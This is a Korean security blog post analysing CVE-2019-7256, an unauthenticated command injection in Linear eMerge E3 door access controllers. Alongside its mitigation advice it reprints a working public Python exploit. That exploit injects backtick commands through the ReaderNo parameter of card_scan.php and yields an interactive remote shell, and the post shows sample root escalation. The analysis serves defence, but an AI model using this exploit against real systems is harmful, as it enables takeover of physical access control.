1. Linear eMerge E3-Series devices
- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러
- 즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품
- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리
2. 취약점
- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점
- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음
영향받는 제품 : Linear eMerge E3-Series 제품군
2.1 취약점 분석
- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생
- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행
- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생
2.2 PoC 분석
- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함
- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐
#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password:
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################
import requests
import sys,os##
piton = os.path.basename(sys.argv[0])
if len(sys.argv) < 2:
print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
sys.exit()
ipaddr = sys.argv[1]
print
while True:
try:
cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
readreq = requests.get('http://'+ipaddr+'/test.txt')
print readreq.text
if cmd.strip() == 'exit':
print "[+] Erasing read stage file and exiting..."
requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
print "[+] Done. Ba-bye!\n"
break
else: continue
except Exception:
break
sys.exit()
3. 대응방안
3.1 서버측면
① 최신 패치 적용
- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증
- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수
※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.
② 내부망과 분리
- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리
- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지
3.2 네트워크 측면
① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단
- 취약한 URL 요청 : /card_scan.php
- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo
② IoC를 참고해 IP 차단 등의 침해지표 활용
4. 참조
- https://nvd.nist.gov/vuln/detail/CVE-2019-7256
- https://www.boannews.com/media/view.asp?idx=86155
'취약점 > Injection' 카테고리의 다른 글
Zyxel Firewall Unauthenticated remote command injection (CVE-2022-30525) (0) | 2023.02.05 |
---|---|
비박스 PHP Code Injection (0) | 2023.01.16 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |
비박스(BWAPP) SQL Injection - Blind - Boolean-Based (0) | 2022.10.04 |
비박스(BWAPP) SQL Injection - GET/Search (0) | 2022.09.26 |